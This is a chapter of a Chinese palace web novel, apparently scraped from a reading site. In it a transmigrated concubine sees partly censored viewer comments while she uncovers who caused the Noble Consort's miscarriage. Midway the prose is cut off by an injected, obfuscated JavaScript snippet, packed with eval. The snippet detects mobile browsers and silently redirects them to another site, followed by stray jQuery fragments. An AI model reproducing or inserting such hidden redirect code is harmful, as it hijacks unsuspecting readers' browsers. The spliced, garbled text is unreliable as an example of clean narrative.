阮棠不知道自己是怎么回到凝香斋的。
一路上,她脑中反复回放着萧临渊最后那个眼神,深邃且复杂。
“美人,您喝口茶暖暖身子。”小橘将茶盏递到她手边,满脸担忧,“美人脸色好差,可是皇上责怪您了?”
阮棠摇摇头,接过茶盏抿了一口,温热的茶水入腹,却驱不散心底那丝莫名的慌乱。
她回想着萧临渊说的那些话——
“药被人动过手脚……”
“柳家心大了……”
“若告诉她真相,她会如何?”
每一个字都像一块石头,压在她心头,沉甸甸的。
眼前弹幕适时滚动起来:
【等等等等,我捋一下——贵妃的孩子是柳家自己弄没的?】
【柳家这是亲爹亲妈?虎毒还不食子呢!】
【为了后位连外孙都杀,柳家这操作我直呼好家伙】
【贵妃知道真相不得疯啊……】
阮棠看着这些弹幕,心里越发沉重。
她正要移开目光,忽然瞥见几条与众不同的内容——
【那个****眼神****】
阮棠愣了愣,揉了揉眼睛。
那几条弹幕依旧模糊不清,像是信号不好时的花屏,只留下几个零零星星能辨认的字眼。
“眼神?”她喃喃自语,“什么意思?”
【前面的,你发的什么?怎么全是星号?】
【我也看见了,好几条都是乱码】
【信号坏了?麻烦亲这边坐到路由器上。】
【呦!这怕是触碰违禁词了吧哈哈哈哈哈】
又不是某音直播间,哪来的违禁词?
她笑着摇了摇头,并不放在心上。
眼下最重要的事,是贵妃那桩旧案,哪有功夫研究弹幕为什么会有乱码。
秋月悄无声息地进来,将烛火拨得更亮些,随即转身准备悄然退下。
阮棠忽然抬头看她:“秋月,你若是一直恨一个人,恨了许多年,忽然有一天发现,你恨错了人……你会如何?”
秋月愣了愣,沉默片刻,轻声道:“奴婢不知。”
“但奴婢想,那样多的年月,那样深的恨意,若是一朝落空,心里只怕会空出一个大洞来。”
【秋月这话说得我好心疼】
【空出一个大洞……这形容绝了】
【贵妃要是知道真相,怕是要疯】
阮棠心头一震。
是啊,一个大洞。
贵妃恨了太后这么多年,这恨意早已成为她生命的一部分。
若忽然告诉她,你恨错了人,真正的凶手是你自己的家人——
她会如何?
阮棠不敢想。
她靠在椅背上,闭了闭眼。
窗外月色正好,清辉如水,透过窗棂洒进一室银白。
小橘轻手轻脚地过来,替她披上一件外袍:“美人,夜深了,歇息吧。”
阮棠“嗯”了一声,却没有动。
她望着窗外那轮圆月,脑中忽然闪过一个念头——
萧临渊最后看她的那个眼神,究竟是什么意思?
不是审视,似乎像是发现了什么秘密。
可她能有什么秘密?
眼前又闪过几条星号弹幕:
【*****月圆******】
阮棠盯着那些模糊的字眼,眉头微蹙。
又是星号。
“月圆”两个字她能看清,可前后是什么,完全辨认不出。
她忽然想起,这种现象最近出现过好几次。
起初她只当是自己眼花了,或是古代信号不好,可次数多了,她隐约觉得不对。
好像每次涉及某些特定内容,就会出现这种“信号不好”的情况。
难道真的有什么“天机不可泄露”?
【前面的,你发什么了?又是星号!】
【我也看见了,一堆****】
【这弹幕怕不是有灵性,知道什么能说什么不能说】
【棠棠:你们到底在瞒我什么?】
阮棠盯着那些弹幕,心中莫名有些发毛。
她忽然想起穿越那天做的那个诡异的梦——暗阁、卷轴、还有那句“天生异格,凤栖于梧”。
当时她只当是噩梦一场,难道……
想到这里,她猛地摇了摇头,将危险的念头甩出脑外。
想什么呢!
什么天命所归,那是女主的剧本,跟她一个炮灰有什么关系?
次日清晨,阮棠是被秋香咋咋呼呼的声音吵醒的。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289029|198486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“美人!美人快醒醒!”秋香一头冲进内室,满脸兴奋,“贵妃娘娘派人送了好些东西来!”
阮棠迷迷糊糊地睁开眼,还没反应过来,便被小橘和秋月架起来梳洗。
等她收拾妥当来到正殿,只见桌上摆满了各色锦盒——绸缎、首饰、补品,琳琅满目,几乎要将那张不大的桌子堆满。
【我去,贵妃这是把库房搬来了?】
【贵妃:本宫的人,本宫罩着!】
【这堆东西够棠棠躺平三年了】
倩碧站在一旁,见她出来,笑着福了福身:“阮美人安好。这些都是娘娘命奴婢送来的,美人昨儿个送去的那几匹料子,娘娘很喜欢。”
阮棠愣了愣,连忙道:“这……这太破费了,嫔妾只是略表心意,怎敢当娘娘如此厚赏?”
倩碧掩唇笑了笑:“美人不必推辞,娘娘说了,反正这些她都穿腻了,索性分出去省得占仓库。”
阮棠嘴角微微抽搐,心道不愧是贵妃娘娘。
午后,上官锦终于找到机会进宫。
她今日穿了一身藕荷色绣兰草的衣裙,发间只簪了一支碧玉簪,神色却比往日交际了几分。
“棠棠,”她一进门便握住阮棠的手,压低声音道,“快跟我说说如今什么情况。”
自昨夜收到阮棠的书信她便心痒难耐,若非宫归森严,她恨不得连夜进宫。
阮棠连忙回握以示安抚,随后将人引至内室,屏退左右,这才将昨日的事一五一十说了。
当然,她隐去了萧临渊最后那个让她看不懂的眼神。
上官锦听完,沉默良久。
“所以,害贵妃娘娘小产的……是柳家自己?”她声音发紧。
阮棠点头。
上官锦闭了闭眼,深吸一口气:“那彩屏?”
阮棠轻声道,“她只是看见了不该看的人,便被灭了口。”
【彩屏好惨,什么都没做就**】
【柳家这手笔,够狠】
【锦宝这反应,心疼死我了】
上官锦沉默。
殿内一时寂静得能听见窗外风吹过海棠树的沙沙声。
良久,上官锦抬眼,看向阮棠:“你打算怎么办?要告诉贵妃娘娘吗?”
阮棠摇头:“我不知道。”